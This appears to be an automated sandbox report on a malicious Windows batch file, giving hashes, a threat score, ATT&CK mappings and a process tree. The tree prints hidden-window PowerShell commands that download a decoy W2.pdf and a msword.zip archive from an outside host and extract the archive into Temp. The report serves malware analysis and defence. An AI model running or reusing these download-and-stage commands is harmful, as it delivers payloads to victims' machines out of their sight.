91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05-01-2025 08:00

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General

Target

e8dfdb915a523a09e139aaa900991ddd.bat
Size

498B
MD5

e8dfdb915a523a09e139aaa900991ddd
SHA1

d23f4798c549bfb7ddd968c4c2a971f67468a662
SHA256

91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e
SHA512

b4e737d1c80420688bf856df02a580b691d120307b7d31ea4766448ccd0c6eec7b2c48424691e92dffba58ca8c9a8df989f5b683d9363cac37d3dd3e5ad1623e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2448	powershell.exe
2880	powershell.exe
2936	powershell.exe
2448	powershell.exe
2880	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2448	powershell.exe
2880	powershell.exe
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 2448	1928	cmd.exe	31
PID 1928 wrote to memory of 2448	1928	cmd.exe	31
PID 1928 wrote to memory of 2448	1928	cmd.exe	31
PID 1928 wrote to memory of 2880	1928	cmd.exe	33
PID 1928 wrote to memory of 2880	1928	cmd.exe	33
PID 1928 wrote to memory of 2880	1928	cmd.exe	33
PID 1928 wrote to memory of 2936	1928	cmd.exe	34
PID 1928 wrote to memory of 2936	1928	cmd.exe	34
PID 1928 wrote to memory of 2936	1928	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\e8dfdb915a523a09e139aaa900991ddd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\Admin\Downloads\W2.pdf"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\Admin\AppData\Local\Temp\msword.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\msword -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
58270cb19bffc219137fc7c36804bc79

SHA1
4e3db46677486bd3bd19f20a58367b9b432c9157

SHA256
13a8d088f675fb57328cbd4507cae09c2b79a401ec38e602306b34e9d57640dd

SHA512
0bdb9461492955605bb7358ca3310e69938bad8b7a0f09db53c089dcb33b81726cf32d81981c8a3d5aadfadda5530fd74bbbd8897be10f8ab8d49af5d3c645c7

Download Submit
memory/1928-22-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/2448-4-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

Filesize
4KB

Download
memory/2448-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2448-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/2448-7-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2448-8-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2448-10-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2448-9-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2448-11-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2880-36-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2880-35-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download